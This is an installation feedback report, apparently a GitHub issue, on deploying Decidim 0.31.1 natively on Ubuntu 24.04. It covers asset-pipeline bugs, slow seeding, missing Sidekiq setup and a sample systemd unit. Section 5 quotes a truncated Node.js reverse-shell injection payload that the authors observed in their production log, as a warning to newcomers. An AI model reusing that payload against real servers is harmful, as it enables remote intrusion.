Installation Feedback: Native Decidim 0.31.1 on Ubuntu 24.04

[robertsauer-ernst]

Installation Feedback: Native Decidim 0.31.1 on Ubuntu 24.04

Overview

We installed Decidim 0.31.1 natively on a Hetzner VPS following the official documentation and with ChatGPT assistance. Below are the issues we encountered. We hope this helps PokeCode improve the installation scripts and documentation.

Environment

• Server: Hetzner CX33 (4 vCPU, 8 GB RAM, 80 GB NVMe, Ubuntu 24.04)
• Decidim: 0.31.1
• Ruby: 3.3.4 via rbenv
• PostgreSQL: 15
• Web server: Nginx + Puma (via systemd)
• SSL: Let's Encrypt via certbot

Issues Encountered

1. Asset Pipeline / Shakapacker — Invisible Buttons and Broken UI

After completing the installation, the login and registration pages rendered with invisible buttons — white text on white/transparent background. Users could not see or interact with the submit buttons.

Specific errors encountered:

• uc.micro version conflict: A resolutions pin in package.json forced uc.micro to version 1.0.6, but markdown-it and linkify-it require uc.micro@2.x. Webpack error: export 'S' was not found in 'uc.micro'. Fix: remove/correct the resolution.
• packageManager mismatch: Shakapacker complained about missing packageManager field despite yarn.lock being present. Fix: add "packageManager": "yarn@1.22.22" to package.json.
• Missing or incomplete decidim-packs/manifest.json entries after failed compilation attempts.
• Invisible buttons due to default organization colors not being set, leaving CSS custom properties undefined.

This required multiple rounds of bin/rails assets:precompile and debugging. The asset pipeline was by far the most time-consuming part of the installation.

Suggestion: Document exact Node.js and Yarn version requirements. Consider a post-install verification step that checks manifest completeness and basic CSS rendering. Set sensible default colors for new organizations.

2. db:seed Takes Long

The initial bin/rails db:seed took an astonishingly long time — it felt like well over 30 minutes, though we didn't time it exactly. During this time, there was no progress indication and the server appeared unresponsive. It was unclear whether the process was still running or had stalled. (Server: CX33, 4 vCPU, 8 GB RAM.)

Suggestion: Add progress output during seeding, or document expected duration.

3. Sidekiq/Redis Not Part of Basic Setup

Background job processing (Sidekiq + Redis) is required for mail delivery but not covered in the basic installation steps. We had to:

• Install Redis separately
• Add gem "sidekiq" to Gemfile manually
• Create a dedicated systemd service for Sidekiq
• Add config.active_job.queue_adapter = :sidekiq to production.rb

Without this, invitation mails and other async tasks silently fail with no error indication.

Suggestion: Include Sidekiq/Redis setup in the production deployment guide.

4. Systemd Service Configuration Not Documented

Setting up Decidim as a production systemd service required significant trial and error:

• Correct EnvironmentFile path and permissions (chmod 640, chown root:deploy)
• rbenv PATH configuration for the deploy user
• Service dependencies (PostgreSQL, Redis)

Working configuration for reference:

[Service]
Type=simple
User=deploy
WorkingDirectory=/home/deploy/decidim_demo
EnvironmentFile=/etc/decidim-demo.env
Environment=RBENV_ROOT=/home/deploy/.rbenv
Environment=PATH=/home/deploy/.rbenv/bin:/home/deploy/.rbenv/shims:/usr/local/bin:/usr/bin:/bin
ExecStart=/home/deploy/decidim_demo/bin/rails server -e production -b 127.0.0.1 -p 3000
Restart=always
RestartSec=5

Suggestion: Include sample systemd unit files for Puma and Sidekiq in the documentation.

5. Hack Attempts Within Hours

Within hours of the server being publicly accessible, we observed hack attempts in production.log — specifically a Node.js reverse shell injection attempt via request parameters:

"_prefix":"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[])...

This is not a Decidim-specific issue, but worth mentioning for the documentation — especially for newcomers who may not have hardened their servers.

Total Setup Time

Approximately 6 hours including debugging. For comparison, we also set up Docker-based instances using ghcr.io/decidim/decidim:0.31.0.rc2 which took roughly 30 minutes each (see #126 for a bug we found there).

Availability

Full bash history of the installation is available on request. We're happy to test updated scripts or documentation.

Note: This report was drafted by Claude AI (Anthropic, Opus 4.6) based on the full installation history across multiple sessions. The underlying work was done by robertsauer-ernst with Claude's assistance.